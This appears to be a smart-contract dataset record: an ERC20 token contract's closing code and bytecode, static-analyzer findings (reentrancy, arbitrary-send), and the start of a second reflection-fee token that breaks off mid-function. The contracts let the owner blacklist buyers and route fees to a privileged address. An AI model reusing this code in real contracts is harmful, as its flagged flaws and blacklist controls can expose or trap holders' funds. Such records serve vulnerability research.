require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 200000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function setMaxTxn(uint maxbuy, uint maxheld) external {
require(_msgSender() == _TaxAdd);
require(maxbuy >= 200000000 * 10**9);
require(maxheld >= 200000000 * 10**9);
_maxBuyAmount = maxbuy;
_maxHeldTokens = maxheld;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _TaxAdd);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _TaxAdd);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _TaxAdd);
require(buy < 12 && sell < 12 && buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _TaxAdd);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _TaxAdd);
_TaxAdd = payable(newAddress);
emit TaxAddUpdated(_TaxAdd);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _TaxAdd);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105ac578063db92dbb6146105c1578063dcb0e0ad146105d6578063dd62ed3e146105f6578063e8078d941461063c57600080fd5b8063a3f4782f14610537578063a9059cbb14610557578063b515566a14610577578063c3c8cd801461059757600080fd5b806373f54a11116100dc57806373f54a11146104a55780638da5cb5b146104c557806394b8d8f2146104e357806395d89b411461050357600080fd5b8063590f897e146104455780636fc3eaec1461045b57806370a0823114610470578063715018a61461049057600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103b657806340b9a54b146103ef57806345596e2e1461040557806349bd5a5e1461042557600080fd5b806327f3a72a14610344578063313ce5671461035957806331c2d8471461038057806332d873d8146103a057600080fd5b8063104ce66d116101c1578063104ce66d146102bb57806318160ddd146102f35780631940d0201461030e57806323b872dd1461032457600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b3146102695780630b78f9c01461029957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025c60405180604001604052806009815260200168444f47454e20494e5560b81b81525081565b60405161021e9190611a47565b34801561027557600080fd5b50610289610284366004611ac1565b610651565b604051901515815260200161021e565b3480156102a557600080fd5b506102b96102b4366004611aed565b610667565b005b3480156102c757600080fd5b506008546102db906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102ff57600080fd5b50678ac7230489e80000610214565b34801561031a57600080fd5b50610214600e5481565b34801561033057600080fd5b5061028961033f366004611b0f565b610701565b34801561035057600080fd5b50610214610755565b34801561036557600080fd5b5061036e600981565b60405160ff909116815260200161021e565b34801561038c57600080fd5b506102b961039b366004611b66565b610765565b3480156103ac57600080fd5b50610214600f5481565b3480156103c257600080fd5b506102896103d1366004611c2b565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fb57600080fd5b50610214600a5481565b34801561041157600080fd5b506102b9610420366004611c48565b6107f1565b34801561043157600080fd5b506009546102db906001600160a01b031681565b34801561045157600080fd5b50610214600b5481565b34801561046757600080fd5b506102b9610892565b34801561047c57600080fd5b5061021461048b366004611c2b565b6108bf565b34801561049c57600080fd5b506102b96108da565b3480156104b157600080fd5b506102b96104c0366004611c2b565b61094e565b3480156104d157600080fd5b506000546001600160a01b03166102db565b3480156104ef57600080fd5b506010546102899062010000900460ff1681565b34801561050f57600080fd5b5061025c60405180604001604052806008815260200167444f47454e494e5560c01b81525081565b34801561054357600080fd5b506102b9610552366004611aed565b6109bc565b34801561056357600080fd5b50610289610572366004611ac1565b610a11565b34801561058357600080fd5b506102b9610592366004611b66565b610a1e565b3480156105a357600080fd5b506102b9610b37565b3480156105b857600080fd5b506102b9610b6d565b3480156105cd57600080fd5b50610214610d64565b3480156105e257600080fd5b506102b96105f1366004611c6f565b610d7c565b34801561060257600080fd5b50610214610611366004611c8c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064857600080fd5b506102b9610def565b600061065e338484610ff4565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068757600080fd5b600c821080156106975750600c81105b80156106a45750600a5482105b80156106b15750600b5481105b6106ba57600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061070e848484611118565b6001600160a01b038416600090815260036020908152604080832033845290915281205461073d908490611cdb565b905061074a853383610ff4565b506001949350505050565b6000610760306108bf565b905090565b6008546001600160a01b0316336001600160a01b03161461078557600080fd5b60005b81518110156107ed576000600560008484815181106107a9576107a9611cf2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107e581611d08565b915050610788565b5050565b6008546001600160a01b0316336001600160a01b03161461081157600080fd5b600081116108565760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108b257600080fd5b476108bc816116e4565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146109045760405162461bcd60e51b815260040161084d90611d23565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461096e57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610887565b6008546001600160a01b0316336001600160a01b0316146109dc57600080fd5b6702c68af0bb1400008210156109f157600080fd5b6702c68af0bb140000811015610a0657600080fd5b600d91909155600e55565b600061065e338484611118565b6000546001600160a01b03163314610a485760405162461bcd60e51b815260040161084d90611d23565b60005b81518110156107ed5760095482516001600160a01b0390911690839083908110610a7757610a77611cf2565b60200260200101516001600160a01b031614158015610ac8575060075482516001600160a01b0390911690839083908110610ab457610ab4611cf2565b60200260200101516001600160a01b031614155b15610b2557600160056000848481518110610ae557610ae5611cf2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b2f81611d08565b915050610a4b565b6008546001600160a01b0316336001600160a01b031614610b5757600080fd5b6000610b62306108bf565b90506108bc8161171e565b6000546001600160a01b03163314610b975760405162461bcd60e51b815260040161084d90611d23565b60105460ff1615610be45760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161084d565b600754610c049030906001600160a01b0316678ac7230489e80000610ff4565b6007546001600160a01b031663f305d7194730610c20816108bf565b600080610c356000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c9d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cc29190611d58565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3f9190611d86565b506010805460ff1916600117905542600f556702c68af0bb140000600d819055600e55565b600954600090610760906001600160a01b03166108bf565b6008546001600160a01b0316336001600160a01b031614610d9c57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610887565b6000546001600160a01b03163314610e195760405162461bcd60e51b815260040161084d90611d23565b60105460ff1615610e665760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161084d565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610ecb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eef9190611da3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f609190611da3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610fad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd19190611da3565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0383166110565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161084d565b6001600160a01b0382166110b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161084d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561115a57506001600160a01b03821660009081526005602052604090205460ff16155b801561117657503360009081526005602052604090205460ff16155b61117f57600080fd5b6001600160a01b0383166111e35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161084d565b6001600160a01b0382166112455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161084d565b600081116112a75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161084d565b600080546001600160a01b038581169116148015906112d457506000546001600160a01b03848116911614155b15611685576009546001600160a01b03858116911614801561130457506007546001600160a01b03848116911614155b801561132957506001600160a01b03831660009081526004602052604090205460ff16155b156114fb5760105460ff166113805760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161084d565b600f544214156113ae576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d548211156114005760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161084d565b600e5461140c846108bf565b6114169084611dc0565b11156114745760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161084d565b6001600160a01b03831660009081526006602052604090206001015460ff166114dc576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611515575060105460ff165b801561152f57506009546001600160a01b03858116911614155b156116855761153f42600f611dc0565b6001600160a01b038516600090815260066020526040902054106115b15760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161084d565b60006115bc306108bf565b9050801561166e5760105462010000900460ff161561163f57600c54600954606491906115f1906001600160a01b03166108bf565b6115fb9190611dd8565b6116059190611df7565b81111561163f57600c5460095460649190611628906001600160a01b03166108bf565b6116329190611dd8565b61163c9190611df7565b90505b600061164c600483611df7565b90506116588183611cdb565b915061166381611892565b61166c8261171e565b505b47801561167e5761167e476116e4565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806116c757506001600160a01b03841660009081526004602052604090205460ff165b156116d0575060005b6116dd85858584866118c2565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ed573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061176257611762611cf2565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117df9190611da3565b816001815181106117f2576117f2611cf2565b6001600160a01b0392831660209182029290920101526007546118189130911684610ff4565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611851908590600090869030904290600401611e19565b600060405180830381600087803b15801561186b57600080fd5b505af115801561187f573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff00191661010017905580156118b4576118b43061dead83611118565b506010805461ff0019169055565b60006118ce83836118e4565b90506118dc86868684611908565b505050505050565b60008083156119015782156118fc5750600a54611901565b50600b545b9392505050565b60008061191584846119e5565b6001600160a01b038816600090815260026020526040902054919350915061193e908590611cdb565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461196e908390611dc0565b6001600160a01b03861660009081526002602052604090205561199081611a19565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119d591815260200190565b60405180910390a3505050505050565b6000808060646119f58587611dd8565b6119ff9190611df7565b90506000611a0d8287611cdb565b96919550909350505050565b30600090815260026020526040902054611a34908290611dc0565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611a7457858101830151858201604001528201611a58565b81811115611a86576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108bc57600080fd5b8035611abc81611a9c565b919050565b60008060408385031215611ad457600080fd5b8235611adf81611a9c565b946020939093013593505050565b60008060408385031215611b0057600080fd5b50508035926020909101359150565b600080600060608486031215611b2457600080fd5b8335611b2f81611a9c565b92506020840135611b3f81611a9c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b7957600080fd5b823567ffffffffffffffff80821115611b9157600080fd5b818501915085601f830112611ba557600080fd5b813581811115611bb757611bb7611b50565b8060051b604051601f19603f83011681018181108582111715611bdc57611bdc611b50565b604052918252848201925083810185019188831115611bfa57600080fd5b938501935b82851015611c1f57611c1085611ab1565b84529385019392850192611bff565b98975050505050505050565b600060208284031215611c3d57600080fd5b813561190181611a9c565b600060208284031215611c5a57600080fd5b5035919050565b80151581146108bc57600080fd5b600060208284031215611c8157600080fd5b813561190181611c61565b60008060408385031215611c9f57600080fd5b8235611caa81611a9c565b91506020830135611cba81611a9c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ced57611ced611cc5565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d1c57611d1c611cc5565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611d6d57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611d9857600080fd5b815161190181611c61565b600060208284031215611db557600080fd5b815161190181611a9c565b60008219821115611dd357611dd3611cc5565b500190565b6000816000190483118215151615611df257611df2611cc5565b500290565b600082611e1457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e695784516001600160a01b031683529383019391830191600101611e44565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220da7caa8c4e02eef95b32a505a13e9cd6a9a7a111f938b1536d982177c9fce36464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,961 |
0x8a83A0DE55C003A970070a8a0FA7CB24203fC13d
|
/**
*
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PastProject is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Past Project";
string private constant _symbol = unicode"$PAST";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 6;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _MultiSig;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private _noTaxMode = false;
bool private inSwap = false;
uint256 private walletLimitDuration;
struct User {
uint256 buyCD;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable MultiSig) {
_MultiSig = MultiSig;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_MultiSig] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
if (walletLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_MultiSig.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function openTrading() external onlyOwner {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
